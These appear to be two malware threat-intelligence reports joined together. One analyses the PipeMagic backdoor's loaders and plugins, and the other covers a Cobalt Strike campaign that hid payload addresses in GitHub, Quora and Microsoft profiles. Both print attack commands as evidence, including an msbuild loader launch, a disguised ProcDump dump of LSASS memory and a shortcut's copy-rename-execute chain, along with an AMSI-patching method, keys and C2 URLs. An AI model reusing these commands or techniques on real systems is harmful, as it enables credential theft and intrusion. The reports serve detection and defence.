In January 2025, we detected new infections in a Middle Eastern country and Brazil. Further investigation revealed connections to the domain hxxp://aaaaabbbbbbb.eastus.cloudapp.azure[.]com, which suggested a link between this attack and PipeMagic. Later, we also found the backdoor itself.

Initial loader

MD5	5df8ee118c7253c3e27b1e427b56212c
File name	metafile.mshi

In this attack, the loader was a Microsoft Help Index File. Usually, such files contain code that reads data from .mshc container files, which include Microsoft help materials. Upon initial inspection, the loader contains obfuscated C# code and a very long hexadecimal string. An example of executing this payload:

c:\windows\system32\cmd.exe "/k c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe c:\windows\help\metafile.mshi"

The C# code serves two purposes – decrypting and executing the shellcode, which is encrypted with the RC4 stream cipher using the key 4829468622e6b82ff056e3c945dd99c94a1f0264d980774828aadda326b775e5 (hex string). After decryption, the resulting shellcode is executed via the WinAPI function EnumDeviceMonitor. The first two parameters are zeros, and the third is a pointer to a function where the pointer to the decrypted shellcode is inserted.

The injected shellcode is executable code for 32-bit Windows systems. It loads an unencrypted executable embedded inside the shellcode itself. For dynamically obtaining system API addresses, as in the 2024 version, export table parsing and FNV-1a hashing are used.

Loader (ChatGPT)

MD5	7e6bf818519be0a20dbc9bcb9e5728c6
File name	chatgpt.exe

In 2025, we also found PipeMagic loader samples mimicking a ChatGPT client. This application resembles one used in campaigns against organizations in the Middle East in 2024. It also uses the Tokio and Tauri frameworks, and judging by copyright strings and PE header metadata, the executable was built in 2024, though it was first discovered in the 2025 campaign. Additionally, this sample uses the same version of the libaes library as the previous year’s attacks. Behaviorally and structurally, the sample is also similar to the application seen in October 2024.

Loader using DLL hijacking

MD5	e3c8480749404a45a61c39d9c3152251
File name	googleupdate.dll

In addition to the initial execution method using a .mshi file launched through msbuild, the attackers also used a more popular method involving decrypting the payload and injecting it with the help of an executable file that does not require additional utilities to run. The executable file itself was legitimate (in this campaign we saw a variant using the Google Chrome update file), and the malicious logic was implemented through a library that it loads, using the DLL hijacking method. For this, a malicious DLL was placed on the disk alongside the legitimate application, containing a function that the application exports.

It is worth noting that in this particular library sample, the exported functions were not malicious – the malicious code was contained in the initialization function (DllMain), which is always called when the DLL is loaded because it initializes internal structures, file descriptors, and so on.

First, the loader reads data from an encrypted file – the attackers pass its path via command-line arguments.

Next, the file contents are decrypted using the symmetric AES cipher in CBC mode, with the key 9C 3B A5 B2 D3 22 2F E5 86 3C 14 D5 13 40 D7 F9, and the initialization vector (IV) 22 1B A5 09 15 04 20 98 AF 5F 8E E4 0E 55 59 C8.

The library deploys the decrypted code into memory and transfers control to it, and the original file is subsequently deleted. In the variants found during analysis, the payload was a shellcode similar to that discovered in the 2024 attacks involving a ChatGPT client.

Deployed PE

MD5	1a119c23e8a71bf70c1e8edf948d5181
File name	–

In all the loading methods described above, the payload was an executable file for 32-bit Windows systems. Interestingly, in all cases, this file supported graphical mode, although it did not have a graphical user interface. This executable file is the PipeMagic backdoor.

At the start of its execution, the sample generates 16 random bytes to create the name of the pipe it will use. This name is generated using the same method as in the original PipeMagic samples observed in 2022 and 2024.

The sample itself doesn’t differ from those we saw previously, although it now includes a string with a predefined pipe path: \.\pipe\magic3301. However, the backdoor itself doesn’t explicitly use this name (that is, it doesn’t interact with a pipe by that name).

Additionally, similar to samples found in 2022 and 2024, this version creates a communication pipe at the address 127.0.0.1:8082.

Discovered modules

During our investigation of the 2025 attacks, we discovered additional plugins used in this malicious campaign. In total, we obtained three modules, each implementing different functionality not present in the main backdoor. All the modules are executable files for 32-bit Windows systems.

Asynchronous communication module

This module implements an asynchronous I/O model. For this, it uses an I/O queue mechanism and I/O completion ports.

Immediately upon entering the plugin, command processing takes place. At this stage, five commands are supported:

Command ID	Description
0x1	Initialize and create a thread that continuously receives changes from the I/O queue
0x2	Terminate the plugin
0x3	Process file I/O
0x4	Terminate a file operation by the file identifier
0x5	Terminate all file operations

Although I/O changes via completion ports are processed in a separate thread, the main thread waits for current file operation to complete – so this model is not truly asynchronous.

If the command with ID 0x3 (file I/O processing) is selected, control is transferred to an internal handler. This command has a set of subcommands described below. Together with the subcommand, this command has a length of at least 4 bytes.

Command ID	Description
0x1	Open a file in a specified mode (read, write, append, etc.)
0x3	Write to a file
0x4, 0x6	Read from a file
0x5	Change the flag status
0x7	Write data received from another plugin to a file
0x9	Close a file
0xB	Dump all open files

The command with ID 0x5 is presumably implemented to set a read error flag. If this flag is set, reading operations become impossible. At the same time, the module does not support commands to clear the flag, so effectively this command just blocks reading from the file.

To manage open files, the file descriptors used are stored in a doubly linked list in global memory.

Loader

This module, found in one of the infections, is responsible for injecting additional payloads into memory and executing them.

At startup, it first creates a pipe named \\.\pipe\test_pipe20.%d, where the format string includes a unique identifier of the process into which the code is injected. Then data from this pipe is read and sent to the command handler in an infinite loop.

The unique command ID is contained in the first four bytes of the data and can have the following possible values:

Command ID	Description
0x1	Read data from the pipe or send data to the pipe
0x4	Initiate the payload

The payload is an executable file for 64-bit Windows systems. The command handler parses this file and extracts another executable file from its resource section. This extracted file then undergoes all loading procedures – obtaining the addresses of imported functions, relocation, and so on. In this case, to obtain the system method addresses, simple name comparison is used instead of hashing.

The executable is required to export a function called DllRegisterService. After loading, its entry point is called (to initialize internal structures), followed by this function. It provides an interface with the following possible commands:

Command ID	Description
0x1	Initialize
0x2	Receive data from the module
0x3	Callback to get data from the payload

Injector

This module is also an executable file for 32-bit Windows systems. It is responsible for launching the payload – an executable originally written in C# (.NET).

First, it creates a pipe named \\.\pipe\0104201.%d, where the format string includes a unique identifier of the process in which the module runs.

The sample reads data from the pipe, searching for a .NET application inside it. Interestingly, unlike other modules, reading here occurs once rather than in a separate thread.

Before loading the received application, the module performs another important step. To prevent the payload from being detected by the AMSI interface, the attackers first load a local copy of the amsi library. Then they enable writing into memory region containing the functions AmsiScanString and AmsiScanBuffer and patch them. For example, instead of the original code of the AmsiScanString function, a stub function is placed in memory that always returns 0 (thus marking the file as safe).

After this, the sample loads the mscoree.dll library. Since the attackers do not know the target version of this library, during execution they check the version of the .NET runtime installed on the victim’s machine. The plugin supports versions 4.0.30319 and 2.0.50727. If one of these versions is installed on the device, the payload is launched via the _Assembly interface implemented in mscoree.dll.

Post-exploitation

Once a target machine is compromised, the attackers gain a wide range of opportunities for lateral movement and obtaining account credentials. For example, we found in the telemetry a command executed during one of the infections:

dllhost.exe $system32\dllhost.exe -accepteula -r -ma lsass.exe $appdata\FoMJoEqdWg

The executable dllhost.exe is a part of Windows and does not support command-line flags. Although telemetry data does not allow us to determine exactly how the substitution was carried out, in this case the set of flags is characteristic of the procdump.exe file (ProcDump utility, part of the Sysinternals suite). The attackers use this utility to dump the LSASS process memory into the file specified as the last argument (in this case, $appdata\FoMJoEqdWg).

Later, having the LSASS process memory dump, attackers can extract credentials from the compromised device and, consequently, attempt various lateral movement vectors within the network.

It is worth noting that a Microsoft article about attacks using CVE-2025-29824 mentions exactly the same method of obtaining LSASS memory using the procdump.exe file.

Takeaways

The repeated detection of PipeMagic in attacks on organizations in the Middle East and its appearance in Brazil indicate that the malware remains active and that the attackers continue to develop its functionality. The versions detected in 2025 show improvements over the 2024 version, aimed at persisting in victim systems and moving laterally within internal networks.

In the 2025 attacks, the attackers used the ProcDump tool renamed to dllhost.exe to extract memory from the LSASS process – similar to the method described by Microsoft in the context of exploiting vulnerability CVE-2025-29824. The specifics of this vulnerability were analyzed in detail by BI.ZONE in the second part of our joint research.

IoCs

Domains
aaaaabbbbbbb.eastus.cloudapp.azure[.]com

Hashes
5df8ee118c7253c3e27b1e427b56212c        metafile.mshi
60988c99fb58d346c9a6492b9f3a67f7          chatgpt.exe
7e6bf818519be0a20dbc9bcb9e5728c6        chatgpt.exe
e3c8480749404a45a61c39d9c3152251       googleupdate.dll
1a119c23e8a71bf70c1e8edf948d5181
bddaf7fae2a7dac37f5120257c7c11ba

Pipe names
\.\pipe\0104201.%d
\\.\pipe\1.<16-byte hexadecimal string>

Introduction

In the latter half of 2024, the Russian IT industry, alongside a number of entities in other countries, experienced a notable cyberattack. The attackers employed a range of malicious techniques to trick security systems and remain undetected. To bypass detection, they delivered information about their payload via profiles on both Russian and international social media platforms, as well as other popular sites supporting user-generated content. The samples we analyzed communicated with GitHub, Microsoft Learn Challenge, Quora, and Russian-language social networks. The attackers thus aimed to conceal their activities and establish a complex execution chain for the long-known and widely used Cobalt Strike Beacon.

Although the campaign was most active during November and December 2024, it continued until April 2025. After a two-month silence, our security solutions began detecting attacks again. The adversary employed new malicious samples, which were only slightly modified versions of those described in the article.

Kaspersky solutions detect this threat and assign the following verdicts:

• HEUR:Trojan.Win64.Agent.gen
• HEUR:Trojan.Win64.Kryptik.gen
• HEUR:Trojan.WinLNK.Starter.gen
• MEM:Trojan.Multi.Cobalt.gen
• HEUR:Trojan.Win32.CobaltStrike.gen

Initial attack vector

The initial attack vector involved spear phishing emails with malicious attachments. The emails were disguised as legitimate communications from major state-owned companies, particularly within the oil and gas sector. The attackers feigned interest in the victims’ products and services to create a convincing illusion of legitimacy and increase the likelihood of the recipient opening the malicious attachment.

All attachments we observed were RAR archives with the following structure:

• Требования.lnk
• Требования
  • Company Profile.pdf
  • List of requirements.pdf
  • Требования
    • pdf
    • pdf

Company profile.pdf and List of requirements.pdf were decoy files designed to complement the information in the email. The directory Требования\Требования contained executables named Company.pdf and Requirements.pdf, designed to mimic secure PDF documents. The directory itself was hidden, invisible to the user by default.

When Требования.lnk was opened, the files in Требования\Требования were copied to %public%\Downloads\ and renamed: Company.pdf became nau.exe, and Requirements.pdf became BugSplatRc64.dll. Immediately afterward, nau.exe was executed.

%cd% /c echo F | xcopy /h /y %cd%\Требования\Требования %public%\Downloads\

& start %cd%\Требования

& ren %public%\Downloads\Company.pdf nau.exe

& ren %public%\Downloads\Requirements.pdf BugSplatRc64.dll

& %public%\Downloads\nau.exe

Contents of Требования.lnk

Malicious agent

In this attack, the adversary leveraged a common technique: DLL Hijacking (T1574.001). To deploy their malicious payload, they exploited the legitimate Crash reporting Send Utility (original filename: BsSndRpt.exe). The tool is part of BugSplat, which helps developers get detailed, real-time crash reports for their applications. This was the utility that the attackers renamed from Company.pdf to nau.exe.

For BsSndRpt.exe to function correctly, it requires BugSplatRc64.dll. The attackers saved their malicious file with that name, forcing the utility to load it instead of the legitimate file.

To further evade detection, the malicious BugSplatRc64.dll library employs Dynamic API Resolution (T1027.007). This technique involves obscuring API functions within the code, resolving them dynamically only during execution. In this specific case, the functions were obfuscated via a custom hashing algorithm, which shares similarities with CRC (Cyclic Redundancy Check).

A significant portion of the hashes within the malicious sample are XOR-encrypted. Additionally, after each call, the address is removed from memory, and API functions are reloaded if a subsequent call is needed.

MessageBoxW function hook

The primary purpose of BugSplatRc64.dll is to intercept API calls within the legitimate utility’s process address space to execute its malicious code (DLL Substitution, T1574.001). Instead of one of the API functions required by the process, a call is made to a function (which we’ll refer to as NewMessageBox) located within the malicious library’s address space. This technique makes it difficult to detect the malware in a sandbox environment, as the library won’t launch without a specific executable file. In most of the samples we’ve found, the MessageBoxW function call is modified, though we’ve also discovered samples that altered other API calls.

After modifying the intercepted function, the library returns control to the legitimate nau.exe process.

NewMessageBox function

Once the hook is in place, whenever MessageBoxW (or another modified function) is called within the legitimate process, NewMessageBox executes. Its primary role is to run a shellcode, which is loaded in two stages.

First, the executable retrieves HTML content from a webpage located at one of the addresses encrypted within the malicious library. In the sample we analyzed, these addresses were https://techcommunity.microsoft[.]com/t5/user/viewprofilepage/user-id/2631 and https://www.quora[.]com/profile/Marieformach. The information found at both locations is identical. The second address serves as a backup if the first one becomes inactive.

NewMessageBox searches the HTML code retrieved from these addresses for a string whose beginning and end match patterns that are defined in the code and consist of mixed-case alphanumeric characters. This technique allows attackers to leverage various popular websites for storing these strings. We’ve found malicious information hidden inside profiles on GitHub, Microsoft Learn Challenge, Q&A websites, and even Russian social media platforms.

While we didn’t find any evidence of the attackers using real people’s social media profiles, as all the accounts were created specifically for this attack, aligning with MITRE ATT&CK technique T1585.001, there’s nothing stopping the threat actor from abusing various mechanisms these platforms provide. For instance, malicious content strings could be posted in comments on legitimate users’ posts.

The extracted payload is a base64-encoded string with XOR-encrypted data. Decrypted, this data reveals the URL https://raw.githubusercontent[.]com/Mariew14/kong/master/spec/fixtures/verify-prs, which then downloads another XOR-encrypted shellcode.

We initially expected NewMessageBox to execute the shellcode immediately after decryption. Instead, nau.exe launches a child process with the same name and the qstt parameter, in which all of the above actions are repeated once again, ultimately resulting in the execution of the shellcode.

Shellcode

An analysis of the shellcode (793453624aba82c8e980ca168c60837d) reveals a reflective loader that injects Cobalt Strike Beacon into the process memory and then hands over control to it (T1620).

The observed Cobalt sample communicates with the C2 server at moeodincovo[.]com/divide/mail/SUVVJRQO8QRC.

Attribution and victims

The method used to retrieve the shellcode download address is similar to the C2 acquisition pattern that our fellow security analysts observed in the EastWind campaign. In both cases, the URL is stored in a specially crafted profile on a legitimate online platform like Quora or GitHub. In both instances, it’s also encrypted using an XOR algorithm. Furthermore, the targets of the two campaigns partially overlap: both groups of attackers show interest in Russian IT companies.

It’s worth mentioning that while most of the attacks targeted Russian companies, we also found evidence of the malicious activity in China, Japan, Malaysia, and Peru. The majority of the victims were large and medium-sized businesses.

Takeaways

Threat actors are using increasingly complex and clever methods to conceal long-known tools. The campaign described here used techniques like DLL hijacking, which is gaining popularity among attackers, as well as obfuscating API calls within the malicious library and using legitimate resources like Quora, GitHub, and Microsoft Learn Challenge to host C2 addresses. We recommend that organizations adhere to the following guidelines to stay safe:

• Track the status of their infrastructure and continuously monitor their perimeter.
• Use powerful security solutions to detect and block malware embedded within bulk email.
• Train their staff to increase cybersecurity awareness.
• Secure corporate devices with a comprehensive system that detects and blocks attacks in the early stages.

You can detect the malware described here by searching for the unsigned file BugSplatRc64.dll in the file system. Another indirect sign of an attack could be the presence of Crash reporting Send Utility with any filename other than the original BsSndRpt.exe.

IOCs:

LNK
30D11958BFD72FB63751E8F8113A9B04
92481228C18C336233D242DA5F73E2D5

Legitimate BugSplat.exe
633F88B60C96F579AF1A71F2D59B4566

DLL
2FF63CACF26ADC536CD177017EA7A369
08FB7BD0BB1785B67166590AD7F99FD2
02876AF791D3593F2729B1FE4F058200
F9E20EB3113901D780D2A973FF539ACE
B2E24E061D0B5BE96BA76233938322E7
15E590E8E6E9E92A18462EF5DFB94298
66B6E4D3B6D1C30741F2167F908AB60D
ADD6B9A83453DB9E8D4E82F5EE46D16C
A02C80AD2BF4BFFBED9A77E9B02410FF
672222D636F5DC51F5D52A6BD800F660
2662D1AE8CF86B0D64E73280DF8C19B3
4948E80172A4245256F8627527D7FA96

URL
hxxps://techcommunity[.]microsoft[.]com/users/kyongread/2573674
hxxps://techcommunity[.]microsoft[.]com/users/mariefast14/2631452
hxxps://raw[.]githubusercontent[.]com/fox7711/repos/main/1202[.]dat
hxxps://my[.]mail[.]ru/mail/nadezhd_1/photo/123
hxxps://learn[.]microsoft[.]com/en-us/collections/ypkmtp5wxwojz2
hxxp://10[.]2[.]115[.]160/aa/shellcode_url[.]html
hxxps://techcommunity[.]microsoft[.]com/t5/user/viewprofilepage/user-id/2548260
hxxps://techcommunity[.]microsoft[.]com/t5/user/viewprofilepage/user-id/2631452
hxxps://github[.]com/Mashcheeva
hxxps://my[.]mail[.]ru/mail/veselina9/photo/mARRy
hxxps://github[.]com/Kimoeli
hxxps://www[.]quora[.]com/profile/Marieformach
hxxps://moeodincovo[.]com/divide/mail/SUVVJRQO8QRC